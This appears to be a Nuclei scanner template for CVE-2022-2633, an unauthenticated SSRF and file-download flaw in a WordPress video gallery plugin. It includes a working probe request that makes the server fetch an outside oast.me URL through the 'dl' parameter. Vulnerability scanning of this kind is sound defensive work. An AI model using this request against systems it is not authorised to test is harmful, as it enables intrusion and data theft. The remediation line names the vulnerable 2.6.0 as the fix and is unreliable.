id: CVE-2022-2633

info:
  name: All-In-One Video Gallery <=2.6.0 - Server-Side Request Forgery
  author: theamanrawat
  severity: high
  description: |
    WordPress All-in-One Video Gallery plugin through 2.6.0 is susceptible to arbitrary file download and server-side request forgery (SSRF) via the 'dl' parameter found in the ~/public/video.php file. An attacker can download sensitive files hosted on the affected server and forge requests to the server.
  impact: |
    An attacker can exploit this vulnerability to send crafted requests to internal resources, potentially leading to unauthorized access, data leakage, or further attacks.
  remediation: |
    Update to the latest version of the All-In-One Video Gallery plugin (2.6.0) or apply the vendor-provided patch to fix the SSRF vulnerability.
  reference:
    - https://wpscan.com/vulnerability/852c257c-929a-4e4e-b85e-064f8dadd994
    - https://blog.amanrawat.in/2022/09/28/CVE-2022-2633.html
    - https://wordpress.org/plugins/all-in-one-video-gallery/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2633
    - https://plugins.trac.wordpress.org/browser/all-in-one-video-gallery/trunk/public/video.php#L227
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2022-2633
    cwe-id: CWE-610
    epss-score: 0.24542
    epss-percentile: 0.97599
    cpe: cpe:2.3:a:plugins360:all-in-one_video_gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: plugins360
    product: all-in-one_video_gallery
    framework: wordpress
  tags: cve2022,cve,wp-plugin,unauth,ssrf,wpscan,wordpress,wp,all-in-one-video-gallery,plugins360,vuln

http:
  - raw:
      - |
        @timeout: 10s
        GET /index.php/video/?dl={{base64('https://oast.me/')}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Interactsh Server'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201d21912bb57ce76cb101c1d98e9addcefb6c395d5c021696f751c5e77a384928022100b9deb913aa36cf1a77ce527615f5668f7f6075eef01f04f14ae104437380d18b:922c64590222798bb761d5b6d8e72950